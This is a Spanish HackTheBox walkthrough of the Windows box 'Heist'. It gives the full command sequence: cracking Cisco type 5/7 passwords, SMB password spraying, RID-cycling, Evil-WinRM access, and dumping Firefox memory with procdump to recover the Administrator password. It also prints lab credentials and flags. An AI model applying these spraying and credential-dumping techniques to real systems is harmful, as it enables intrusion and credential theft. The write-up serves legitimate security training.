the_open_door
café
ESEN

Heist

HackTheBoxFácilWindows10.10.10.149

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#windows#smb#winrm#cisco-type7#password-spraying#rid-cycling#lookupsid#procdump#firefox-memory#oscp
TL;DR. El portal del 80 se abre con un ?guest=true en la URL, y detrás hay una página /issues.php con un fichero config.txt de un Cisco IOS adjuntado. Trae un enable secret 5 (MD5-crypt crackeable con john) y dos contraseñas tipo password 7 (cifrado reversible Cisco). Combinando los tres usuarios (hazard, admin, rout3r) con las tres claves crackeadas, un spray SMB confirma hazard:stealth1agent. Sus credenciales no abren WinRM, pero sí permiten enumerar usuarios por RID-cycling con lookupsid.py. El segundo spray con la lista ampliada descubre Chase:Q4)sJu\Y8qz*A3?d con Pwn3d! en WinRM. Ya dentro, hay un Firefox de Chase corriendo; un volcado del proceso con procdump64.exe deja en memoria una contraseña que resulta ser la del Administrator: 4dD!5}x/re8]FBuZ. Evil-WinRM como Admin, flag y caja cerrada.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista del sistema operativo.

ping -c 1 10.10.10.149

ping a 10.10.10.149: TTL 127 confirma Windows

64 bytes from 10.10.10.149: icmp_seq=1 ttl=127 time=96.6 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

nmap -p- --min-rate 5000 sobre la IP devuelve:

PORT      STATE SERVICE       REASON
80/tcp    open  http          syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
49669/tcp open  unknown       syn-ack ttl 127

nmap -p- Heist: 80, 135, 445, 5985, 49669

El stack típico de Windows con AD/WinRM, pero sin Kerberos (88) ni LDAP (389) ni DNS (53): no parece DC, sino un servidor stand-alone que podría usar un dominio local. El 49669 es un puerto RPC dinámico, de los que reparte el mapeador del 135, y por eso nmap lo marca unknown.

El segundo escaneo sobre esos cinco puertos sí define el terreno:

extractPorts resume el fichero -oG y deja los cinco puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.149 y puertos abiertos 80,135,445,5985,49669

Extracting information ...
IP Address: 10.10.10.149
Open ports: 80,135,445,5985,49669

Ports copied to clipboard

IP Address: 10.10.10.149
Open ports: 80,135,445,5985,49669
nmap -p80,135,445,5985,49669 -sCV 10.10.10.149

nmap -sCV identificando IIS 10.0, la redirección a login.php y el modo de firma SMB

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Support Login Page
|_Requested resource was login.php
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: -1s

Tres cosas que salen de aquí y no de ningún otro sitio. El 80 es Microsoft IIS 10.0 y el propio nmap avisa de que Requested resource was login.php, o sea que la raíz redirige a un portal de acceso. El 5985 se identifica como Microsoft HTTPAPI httpd 2.0, que es la pila HTTP del kernel de Windows sobre la que corre WinRM: no es un servidor web al uso, es la puerta de administración remota, y eso convierte cualquier credencial que encontremos en una posible shell.

Y el smb2-security-mode merece precisión, porque es fácil leerlo mal: Message signing enabled but not required. La firma SMB está soportada, pero no es obligatoria, que es justo la condición que hace viables los ataques de relay NTLM. Es lo mismo que crackmapexec resume, de forma algo engañosa, como signing:False: no significa que la firma esté desactivada, significa que el servidor no la exige.

Enumeración SMB sin credenciales

Antes de tocar el web, un vistazo rápido a SMB. crackmapexec da el banner:

crackmapexec smb 10.10.10.149

crackmapexec smb sin autenticación: SUPPORTDESK, Windows 10.0 Build 17763, signing:False

SMB  10.10.10.149  445  SUPPORTDESK  [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)

Una línea con cuatro datos. El hostname es SUPPORTDESK, y el domain:SupportDesk repite ese mismo nombre, que es lo que hace Windows cuando la máquina no está unida a un dominio: se anuncia con su propio nombre como grupo de trabajo. Concuerda con la ausencia de Kerberos y LDAP en el escaneo. El Build 17763 es Windows Server 2019, y el SMBv1:False descarta de entrada la familia EternalBlue.

Con esa información, el intento de sesión nula:

crackmapexec smb 10.10.10.149 -u '' -p '' --shares

la sesión nula autentica pero devuelve STATUS_ACCESS_DENIED al listar shares

SMB  10.10.10.149  445  SUPPORTDESK  [-] SupportDesk\: STATUS_ACCESS_DENIED
SMB  10.10.10.149  445  SUPPORTDESK  [-] Error enumerating shares: Error occurs while reading from remote(104)

Y lo mismo por la vía clásica:

smbclient -L 10.10.10.149 -N

smbclient con sesión nula denegada: NT_STATUS_ACCESS_DENIED

session setup failed: NT_STATUS_ACCESS_DENIED

Las dos herramientas coinciden: la sesión nula está cerrada. Conviene anotarlo en vez de pasar de largo, porque descarta la enumeración anónima entera (usuarios, shares, política de contraseñas) y deja el web como único punto de entrada. Un ACCESS_DENIED temprano ahorra media hora de intentos por el mismo sitio.

Web - TCP 80: identificar la pila

whatweb sobre la raíz y sobre el portal:

whatweb 10.10.10.149

whatweb muestra el 302 a login.php y la combinación IIS 10.0 con PHP 7.3.1

http://10.10.10.149 [302 Found] Cookies[PHPSESSID], HTTPServer[Microsoft-IIS/10.0],
  Microsoft-IIS[10.0], PHP[7.3.1], RedirectLocation[login.php], X-Powered-By[PHP/7.3.1]
http://10.10.10.149/login.php [200 OK] Bootstrap[3.3.7], Cookies[PHPSESSID], HTML5,
  HTTPServer[Microsoft-IIS/10.0], JQuery[3.1.1], Microsoft-IIS[10.0], PHP[7.3.1],
  PasswordField[login_password], Script, Title[Support Login Page], X-Powered-By[PHP/7.3.1]

IIS sirviendo PHP es una combinación poco habitual (lo normal es PHP sobre Apache o Nginx, y ASP.NET sobre IIS) y merece la pena fijarse, porque cambia dónde viven los ficheros y qué extensiones tiene sentido fuzzear. Wappalyzer lo confirma y añade el sistema operativo:

Wappalyzer sobre login.php: IIS 10.0, PHP 7.3.1, Windows Server, jQuery 3.1.1 y particles.js

Web servers    IIS 10.0            Operating systems  Windows Server
Programming    PHP 7.3.1           JS libraries       jQuery 3.1.1
JS graphics    particles.js        CDN                cdnjs, jsDelivr, Cloudflare
Font scripts   Font Awesome 4.7.0

En la propia página se ve un formulario de acceso y, abajo a la derecha, un discreto "Login as guest". El código fuente enseña qué hay detrás de ese enlace:

view-source de login.php con el enlace /login.php?guest=true y el campo de usuario de tipo email

<form class="form-horizontal login-form" method="POST" action="/login.php">
  <input id="login_username" name="login_username" type="email" placeholder="Username" required>
  <input id="login_password" name="login_password" type="password" placeholder="Password">
  <button name="login" type="submit">Login</button>
  <a class="forget" href="/login.php?guest=true" title="forget">Login as guest</a>
</form>

El acceso de invitado no es un usuario ni una contraseña: es un parámetro en la URL, ?guest=true, que el PHP interpreta como sesión válida. Un control de acceso decidido por un GET que cualquiera puede escribir a mano.

Y hay un detalle que guardamos para mucho más tarde: el campo de usuario es type="email". El formulario espera una dirección de correo, no un nombre de cuenta. Volverá a aparecer al final de la caja.

Descubrimiento de rutas web

Un barrido con dirsearch confirma las rutas disponibles:

dirsearch -u http://10.10.10.149/ --exclude-status=403,404

dirsearch encuentra /login.php, /attachments/, /errorpage.php

[21:38] 301 - /js          ->  http://10.10.10.149/js/
[21:38] 301 - /attachments ->  http://10.10.10.149/attachments/
[21:38] 200 - /errorpage.php
[21:38] 301 - /images      ->  http://10.10.10.149/images/
[21:39] 200 - /login.php

gobuster con extensiones cubre lo que a dirsearch se le escapa:

gobuster dir -u http://10.10.10.149 -w directory-list-2.3-medium.txt -t 100 -b 404 -x php,asp,aspx,bak,html,txt

gobuster encuentra issues.php con un 302 hacia login.php, y las mismas rutas repetidas en mayúsculas

/images       (Status: 301) [Size: 150] [--> http://10.10.10.149/images/]
/index.php    (Status: 302) [Size: 0]   [--> login.php]
/login.php    (Status: 200) [Size: 2058]
/Images       (Status: 301) [Size: 150] [--> http://10.10.10.149/Images/]
/issues.php   (Status: 302) [Size: 16]  [--> login.php]
/css          (Status: 301) [Size: 147] [--> http://10.10.10.149/css/]
/Index.php    (Status: 302) [Size: 0]   [--> login.php]
/Login.php    (Status: 200) [Size: 2058]
/js           (Status: 301) [Size: 146] [--> http://10.10.10.149/js/]
/Issues.php   (Status: 302) [Size: 16]  [--> login.php]
/attachments  (Status: 301) [Size: 155] [--> http://10.10.10.149/attachments/]

Aquí está /issues.php, la ruta que importa. Devuelve un 302 hacia login.php porque exige sesión, así que sin el truco del ?guest=true habría quedado como una redirección más entre otras.

Y de regalo, una lectura de sistema operativo que no cuesta nada: cada ruta aparece dos veces, en minúscula y con la inicial en mayúscula, con idéntico tamaño de respuesta. /Issues.php y /issues.php son el mismo fichero. Un sistema de ficheros que ignora las mayúsculas es Windows, y confirma el TTL 127 desde una tercera medida independiente. En un Linux, /Issues.php habría devuelto 404.

Web - TCP 80: issues.php

La portada lleva a un panel donde aparece una conversación entre el usuario Hazard y un Support Admin sobre un problema con un router Cisco. Hazard ha adjuntado un fichero config.txt al ticket:

conversación en /issues.php con un adjunto config.txt

El adjunto es una configuración cruda de Cisco IOS con tres líneas de oro:

config.txt con un enable secret 5 y dos password 7

version 12.2
hostname ios-1
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

Las claves Cisco vienen en dos formatos muy distintos: secret 5 es un MD5-crypt (lento, hay que crackear) y password 7 es un cifrado reversible que se decodifica al instante (no es un hash). Cada uno necesita su herramienta:

Crackear el enable secret 5

echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

john recupera stealth1agent del MD5-crypt

Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants))
stealth1agent     (?)
1g 0:00:00:13 DONE

Decodificar los password 7

Para password 7 (cifrado XOR contra una clave estática de Cisco) cualquier decoder en línea sirve, por ejemplo el de firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html:

decoder Cisco type 7: 0242...1713 → $uperP@ssword

decoder Cisco type 7: 0237...5408 → Q4)sJu\Y8qz*A3?d

0242114B0E143F015F5D1E161713          -> $uperP@ssword   (rout3r)
02375012182C1A1D751618034F36415408    -> Q4)sJu\Y8qz*A3?d (admin)

Tres usuarios (hazard, admin, rout3r) y tres contraseñas (stealth1agent, $uperP@ssword, Q4)sJu\Y8qz*A3?d). Como no sabemos qué clave es de cada quién, toca un spray.

Acceso como hazard

SMB password spraying

echo -e 'hazard\nadmin\nrout3r' > users
echo -e 'stealth1agent\nQ4)sJu\\Y8qz*A3?d\n$uperP@ssword' > passwords
crackmapexec smb 10.10.10.149 -u users -p passwords --continue-on-success

cme smb cruza usuarios x passwords: solo hazard:stealth1agent sale valido

SMB  10.10.10.149  445  SUPPORTDESK  [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK)
SMB  10.10.10.149  445  SUPPORTDESK  [+] SupportDesk\hazard:stealth1agent
SMB  ...                              [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB  ...                              [-] SupportDesk\admin:stealth1agent  STATUS_LOGON_FAILURE
...

Tiene autenticación válida pero sin (Pwn3d!): hazard no es local admin. Tampoco está en el grupo Remote Management Users, así que WinRM con sus credenciales falla:

crackmapexec winrm 10.10.10.149 -u hazard -p stealth1agent

cme winrm con hazard:stealth1agent falla (no está en Remote Management Users)

WINRM  10.10.10.149  5985  SUPPORTDESK  [-] SupportDesk\hazard:stealth1agent

RID-cycling para enumerar usuarios

Con credenciales válidas, lo primero es pedir la lista de usuarios por la vía directa. No sale:

rpcclient -U 'hazard%stealth1agent' 10.10.10.149 -c 'enumdomusers'
rpcclient -U 'hazard%fdf' 10.10.10.149 -c 'enumdomusers'

rpcclient enumdomusers: CONNECTION_DISCONNECTED con la contraseña buena y LOGON_FAILURE con una inventada

result was NT_STATUS_CONNECTION_DISCONNECTED
Cannot connect to server.  Error was NT_STATUS_LOGON_FAILURE

Ese segundo comando, con una contraseña inventada a propósito (fdf), es lo que convierte un fallo en información. Los dos errores son distintos, y esa diferencia lo dice todo: con la contraseña falsa el servidor responde LOGON_FAILURE, es decir, ni siquiera nos deja entrar; con la buena responde CONNECTION_DISCONNECTED, o sea que la autenticación sí funcionó y el servidor corta la conexión después, al negarnos la consulta. Traducido: las credenciales de hazard son correctas y lo que falla es la autorización, no la identidad.

Es un control barato que merece la pena hacerse siempre. Sin él, un enumdomusers que falla parece una credencial mala y se descarta un camino que sí estaba abierto.

La misma comprobación con net rpc, esta vez indicando el dominio completo, devuelve lo mismo:

net rpc user -I 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent'

el net rpc user con el usuario SUPPORTDESK\hazard y su contraseña, otra via de enumeracion con el mismo resultado

Lo que sí concede el servidor es el SID de la máquina:

net rpc getsid -I 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent'
# Storing SID S-1-5-21-4254423774-1266059056-3197185112 for SUPPORTDESK

net rpc getsid obtiene el SID de la máquina

Con el SID, RID-cycling enumera usuarios por fuerza bruta del último componente (el RID). La forma más rápida es con crackmapexec --rid-brute:

crackmapexec smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute

cme --rid-brute enumera usuarios: Administrator, Hazard, support, Chase, Jason

[+] Brute forcing RIDs
500: SUPPORTDESK\Administrator (SidTypeUser)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

Otra alternativa es lookupsid.py de impacket, con output limpio:

lookupsid.py SUPPORTDESK/hazard:stealth1agent@10.10.10.149

lookupsid.py devuelve la lista completa de usuarios

Y el equivalente manual con rpcclient, que es el que deja ver qué está pasando por debajo. La operación se llama lookupsids y hace exactamente una cosa: se le da un SID completo y devuelve a quién pertenece. Basta con ir pegándole al SID de la máquina los RID candidatos:

for i in {500..515} {1000..1015}; do
  rpcclient 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent' \
    -c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" | grep -v unknown
done

el bucle de lookupsids devolviendo los SID completos con su nombre y tipo

S-1-5-21-4254423774-1266059056-3197185112-500  SUPPORTDESK\Administrator (1)
S-1-5-21-4254423774-1266059056-3197185112-501  SUPPORTDESK\Guest (1)
S-1-5-21-4254423774-1266059056-3197185112-503  SUPPORTDESK\DefaultAccount (1)
S-1-5-21-4254423774-1266059056-3197185112-504  SUPPORTDESK\WDAGUtilityAccount (1)
S-1-5-21-4254423774-1266059056-3197185112-513  SUPPORTDESK\None (2)
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (1)
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (1)
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (1)
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (1)

Los rangos del bucle no son arbitrarios. Los RID por debajo de 1000 están reservados para cuentas que Windows crea siempre: el 500 es el Administrator de verdad (lo sigue siendo aunque lo renombren, porque el RID no cambia), el 501 el Guest, el 513 el grupo de usuarios del dominio. Las cuentas creadas por un administrador empiezan a numerarse en 1000 y suben de una en una, por eso el segundo rango arranca ahí. Y el número entre paréntesis es el tipo: (1) es usuario y (2) es grupo, que es por lo que None sale en la lista sin ser una persona.

El grep -v unknown filtra los RID sin asignar, que devuelven *unknown*. Con dos filtros más se deja la lista lista para el spray:

for i in {500..515} {1000..1015}; do
  rpcclient 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent' \
    -c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" \
    | grep -v unknown | awk -F '\\' '{print $NF}' | awk '{print $1}' >> userlist.txt
done

userlist.txt con Administrator, Guest, Hazard, support, Chase, Jason...

Administrator
Guest
DefaultAccount
WDAGUtilityAccount
Hazard
support
Chase
Jason

Aparecen dos nombres nuevos: Chase y Jason. Toca repetir el spray con la lista ampliada.

Shell como Chase

Segundo spray con la userlist ampliada

crackmapexec smb 10.10.10.149 -u userlist.txt -p passwords --continue-on-success

cme cruza la nueva userlist y reporta Chase:Q4)sJu\Y8qz*A3?d

Se confirma Chase:Q4)sJu\Y8qz*A3?d. Probando los dos vectores de shell habituales:

crackmapexec smb   10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'
crackmapexec winrm 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

cme winrm reporta Pwn3d! para Chase mientras el mismo par de credenciales en SMB no lo hace

SMB    10.10.10.149  445   SUPPORTDESK  [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
WINRM  10.10.10.149  5985  SUPPORTDESK  [*] http://10.10.10.149:5985/wsman
WINRM  10.10.10.149  5985  SUPPORTDESK  [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)

La misma credencial, dos servicios, dos resultados distintos, y ahí está la lección. En SMB sale el [+] pero sin (Pwn3d!): autentica y nada más. En WinRM sale el (Pwn3d!), que en crackmapexec significa exactamente "este usuario puede abrir una sesión aquí", es decir, que pertenece a Remote Management Users. No significa que sea administrador. Evil-WinRM hace el resto:

evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i 10.10.10.149

evil-winrm abre shell y whoami devuelve supportdesk\chase

Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chase

El Warning: Remote path completions is disabled due to ruby limitation que Evil-WinRM escupe al arrancar asusta la primera vez, pero es cosmético: solo desactiva el autocompletado de rutas remotas con el tabulador. La sesión funciona igual.

Y con ella, la primera flag:

*Evil-WinRM* PS C:\Users\Chase\Documents> type ..\Desktop\user.txt
39cc327b522fad9309c45145edb8d8ed

type ..\Desktop\user.txt devuelve la flag de usuario

Escalada a Administrator

Qué es Chase exactamente

Antes de buscar nada, conviene mirar con qué se cuenta. whoami /all da el token completo:

whoami /all

whoami /all muestra el SID de Chase acabado en 1012, el grupo Remote Management Users y solo dos privilegios

USER INFORMATION
User Name         SID
supportdesk\chase S-1-5-21-4254423774-1266059056-3197185112-1012

GROUP INFORMATION
Group Name                             Type            SID
Everyone                               Well-known group S-1-1-0
BUILTIN\Remote Management Users        Alias            S-1-5-32-580
BUILTIN\Users                          Alias            S-1-5-32-545
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
Privilege Name                Description                    State
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Tres lecturas. La primera cierra el círculo del RID-cycling: el SID de Chase acaba en 1012, exactamente el RID que el bucle de lookupsids había traducido a SUPPORTDESK\Chase sin tener aún ninguna sesión en la máquina. La segunda confirma con pruebas lo que el (Pwn3d!) solo sugería: ahí está BUILTIN\Remote Management Users, y también BUILTIN\Users a secas, sin rastro de Administrators.

La tercera es la que marca el camino. Los únicos privilegios son SeChangeNotifyPrivilege y SeIncreaseWorkingSetPrivilege, que los tiene cualquier cuenta de Windows y no sirven para escalar. Ni SeImpersonate, ni SeBackup, ni SeDebug. Con un Medium Mandatory Level y esa lista, la escalada por abuso de privilegios queda descartada de golpe: no hay nada que abusar. Hay que buscar una credencial en otro sitio.

Procesos sospechosos

Lo que sí canta es la lista de procesos:

ps muestra varios firefox.exe corriendo bajo Chase

Handles  NPM(K)    PM(K)      WS(K)   CPU(s)     Id  SI ProcessName
-------  ------    -----      -----   ------     --  -- -----------
    355      25    16436      38456     0.16   4160   1 firefox
   1051      70   150160     227076     6.19   6472   1 firefox
    347      19    10288      38308     0.05   6600   1 firefox
    401      34    35584      91996     1.06   6732   1 firefox
    378      28    22632      62372     0.38   7016   1 firefox

Un usuario con Firefox abierto en una caja CTF casi siempre significa credenciales guardadas o usadas en memoria. La técnica clásica: volcar el proceso con Procdump (Sysinternals) y peinar el dump con strings.

Procdump al Firefox de Chase

Procdump no viene en Kali ni en la víctima: se descarga de Sysinternals, y la primera búsqueda ya lleva a la página oficial de Microsoft.

la búsqueda de "procdump.exe download" devuelve como primer resultado ProcDump - Sysinternals en Microsoft Learn

la página de ProcDump v11.0 en Microsoft Learn con el enlace Descargar ProcDump de 714 KB resaltado y el Procdump.zip ya descargado

Llega en un ZIP con varios binarios:

unzip Procdump.zip

el zip de Procdump contiene procdump.exe, procdump64.exe, procdump64a.exe y Eula.txt

Archive:  Procdump.zip
  inflating: procdump.exe
  inflating: procdump64.exe
  inflating: procdump64a.exe
  inflating: Eula.txt

Hay que elegir el correcto y no es indiferente: procdump.exe es de 32 bits, procdump64a.exe es para ARM64 y procdump64.exe es el x64, que es lo que pide un Windows Server 2019 sobre Intel. Un volcador de 32 bits no puede leer el espacio de memoria de un proceso de 64 bits, así que equivocarse aquí da un error confuso y hace perder el rato.

Se sube por la propia sesión de Evil-WinRM, que trae upload incorporado y evita montar un servidor web o un share SMB:

upload ../exploits/procdump64.exe

upload de procdump64.exe a C:\Users\Chase\Documents

La herramienta exige aceptar la licencia con -accepteula (si no, abre un diálogo gráfico que en una shell remota no se puede pulsar y el programa se queda colgado). Su propia ayuda explica el parámetro que interesa:

-ma  Write a 'Full' dump file.
       - Includes all memory (Image, Mapped and Private).

Un volcado completo, no solo la pila: es lo que garantiza que entren las cadenas que el proceso tiene en memoria dinámica. Y el objetivo es el PID:

ps | findstr firefox
.\procdump64.exe -accepteula -ma 4160
download firefox.exe_250918_043144.dmp

procdump vuelca el PID 4160, se descarga el .dmp y strings encuentra la contraseña

*Evil-WinRM* PS C:\Users\Chase\Documents> ps | findstr firefox
    355      25     16436     297372       0.16    4160   1 firefox
   1051      70    150092     227020       6.19    6472   1 firefox
    347      19     10288      38308       0.05    6600   1 firefox
    401      34     35400      92416       1.08    6732   1 firefox
    378      28     22632      62392       0.38    7016   1 firefox

*Evil-WinRM* PS C:\Users\Chase\Documents> download firefox.exe_250918_043144.dmp
Info: Downloading C:\Users\Chase\Documents\firefox.exe_250918_043144.dmp to firefox.exe_250918_043144.dmp
Progress: 3% : |

$ strings firefox.exe_250918_043144.dmp | grep password
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
security.ask_for_password
services.sync.engine.passwords.validation.percentageChance
security.insecure_password.ui.enabled

De los cinco firefox, se elige el 4160, que es el de PID más bajo y por tanto el primero que arrancó: en el modelo multiproceso de Firefox ese es el proceso padre, el que gestiona la interfaz y la barra de direcciones. Los hijos son las pestañas y el contenido renderizado. Curiosamente es también el que menos memoria consume de los cinco (16 MB frente a los 150 MB del más gordo), lo que enseña que elegir "el más grande" habría sido el criterio equivocado.

El .dmp se descarga a la máquina atacante y se peina con strings:

strings firefox.exe_250918_043144.dmp | grep password
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=

Esa línea es el premio, y conviene entender por qué existe. No es una contraseña guardada en el gestor de Firefox: es una variable de entorno del informador de fallos (MOZ_CRASHREPORTER_RESTART_ARG_1), donde Firefox conserva la URL que estaba abierta para poder restaurarla si el navegador se cae. Y la URL contiene las credenciales porque el formulario se envió, o se navegó, con los datos en la cadena de consulta. Cualquier cosa que se manda por GET acaba en el historial, en los registros del servidor y, como aquí, en la memoria del navegador.

El usuario que aparece cierra un hilo que dejamos abierto al principio: admin@support.htb, una dirección de correo. Es exactamente lo que pedía aquel type="email" del formulario de acceso, y descubre de paso un dominio, support.htb, que no salió en ningún escaneo.

La contraseña candidata es 4dD!5}x/re8]FBuZ. Probada contra el Administrator vía WinRM:

crackmapexec winrm 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'

cme winrm con las credenciales de Administrator y el Pwn3d! resaltado en rojo

WINRM  10.10.10.149  5985  SupportDesk\Administrator:4dD!5}x/re8]FBuZ  (Pwn3d!)

Funciona, y con (Pwn3d!). La contraseña que un usuario tecleó en un formulario web resulta ser la del administrador local de la máquina. Evil-WinRM y la última flag:

evil-winrm -u 'Administrator' -p '4dD!5}x/re8]FBuZ' -i 10.10.10.149
type ..\Desktop\root.txt

evil-winrm como Administrator, type root.txt

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
5465b1b4b15cba17afe1e1cfd2c2a978

Cadena de ataque

nmap (80 IIS+PHP, 135, 445, 5985 WinRM) + sesión nula SMB cerrada
  └─> login.php?guest=true → /issues.php → config.txt de Cisco IOS
        ├─> enable secret 5 ($1$pdQG$...) → john (rockyou) → stealth1agent
        └─> password 7 (0242...1713 / 0237...5408) → Cisco Type 7 decoder → $uperP@ssword, Q4)sJu\Y8qz*A3?d
              └─> SMB spray (3 usuarios x 3 contraseñas)
                    └─> hazard:stealth1agent (SMB sí, WinRM no, sin Pwn3d!)
                          └─> RID-cycling con lookupsid.py → Chase, Jason, support
                                └─> Segundo spray → Chase:Q4)sJu\Y8qz*A3?d (WinRM Pwn3d!)
                                      └─> Evil-WinRM como Chase + user.txt
                                            └─> procdump64.exe -ma firefox.exe → strings | grep password
                                                  └─> 4dD!5}x/re8]FBuZ válido como Administrator
                                                        └─> Evil-WinRM como Administrator + root.txt

Lecciones aprendidas

  • Un config de Cisco mezcla dos formatos de credencial que requieren herramientas distintas: secret 5 es MD5-crypt (john + wordlist) y password 7 es cifrado reversible (decoder al instante). No confundir uno con otro.
  • Dos errores distintos ante el mismo comando son un dato, no dos fracasos. Repetir el enumdomusers con una contraseña inventada devolvió LOGON_FAILURE, mientras que con la buena devolvía CONNECTION_DISCONNECTED. Esa diferencia demuestra que las credenciales eran válidas y que el problema era de autorización. Sin el control, el camino se habría descartado como credencial mala.
  • Cuando una credencial autentica en SMB sin (Pwn3d!) y WinRM falla, no está todo perdido: es suficiente para RID-cycling y enumerar más usuarios que multipliquen el espacio del spray.
  • (Pwn3d!) en crackmapexec winrm significa "el usuario está en Remote Management Users", no "el usuario es admin local". A veces se interpreta mal y se descarta un vector. Aquí el whoami /all lo confirmó por escrito: BUILTIN\Remote Management Users y BUILTIN\Users, sin Administrators por ningún lado.
  • Un whoami /all sin privilegios interesantes también decide la estrategia. Chase solo tenía SeChangeNotifyPrivilege y SeIncreaseWorkingSetPrivilege, que los tiene cualquiera. Ver esa lista descarta de una vez toda la familia de escaladas por abuso de privilegio y obliga a buscar credenciales en otro sitio, que es lo que acabó funcionando.
  • Un control de acceso decidido por un parámetro de URL no es un control de acceso. El ?guest=true de login.php daba la sesión que ocultaba /issues.php, la ruta que los fuzzers veían solo como un 302.
  • Cualquier proceso de usuario con sesión activa en una caja (Firefox, Outlook, KeePass...) es un candidato a volcado con procdump -ma. La memoria de procesos guarda credenciales en claro con muchísima más frecuencia de la que parece.
  • Las credenciales llegaron por GET, y por eso estaban en memoria. La cadena encontrada era MOZ_CRASHREPORTER_RESTART_ARG_1, la URL que Firefox guarda para restaurar la sesión tras un fallo, con login_username y login_password en la cadena de consulta. Nada de eso habría existido con un POST. Enviar credenciales por la URL las deja en el historial, en los registros del servidor y en la memoria del navegador.
Cheatsheet de comandos 30 comandos

Repaso rápido